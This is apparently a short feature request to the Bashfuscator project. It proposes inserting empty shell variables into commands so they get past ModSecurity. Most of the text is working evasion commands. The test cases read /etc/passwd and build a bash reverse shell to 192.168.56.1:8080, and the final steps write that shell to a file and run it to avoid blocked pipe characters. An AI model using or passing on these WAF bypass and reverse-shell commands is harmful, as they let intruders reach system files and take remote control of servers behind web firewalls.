I've tested this method and it bypassed mod security perfectly so i think it will be wonderful if bashfucscator can add this method.
Test case 1:

• Command ls -la get blocked by mod security
• ls$u -la worked
  Test case 2:
• command cat /etc/passwd get blocked by mod security
• command cat$u /etc$x/passwd$y worked
  Test case 3:
  -/bin$u/bash$u -i >& /dev$u/tcp$u/192.168.56.1/8080 0>&1 doesn't get blocked but it can't create connection (reverse shell) so i did it manually (Use pipeline may have blocked by mod security by characters |, ;, &&)
  Step 1: echo$x "/bin$u/bash$u -i >& /dev$u/tcp$u/192.168.56.1/8080 0>&1" > file name
  Step 2: bash$a filename

Source:https://www.secjuice.com/web-application-firewall-waf-evasion/